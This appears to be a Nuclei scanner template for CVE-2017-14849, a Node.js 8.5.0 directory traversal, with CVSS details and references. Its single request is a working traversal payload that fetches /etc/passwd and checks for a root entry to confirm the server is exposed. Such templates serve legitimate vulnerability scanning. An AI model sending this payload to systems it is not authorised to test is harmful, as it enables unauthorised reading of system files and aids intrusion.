id: CVE-2017-14849

info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - http://www.securityfocus.com/bid/101056
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
  tags: cve,cve2017,nodejs,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body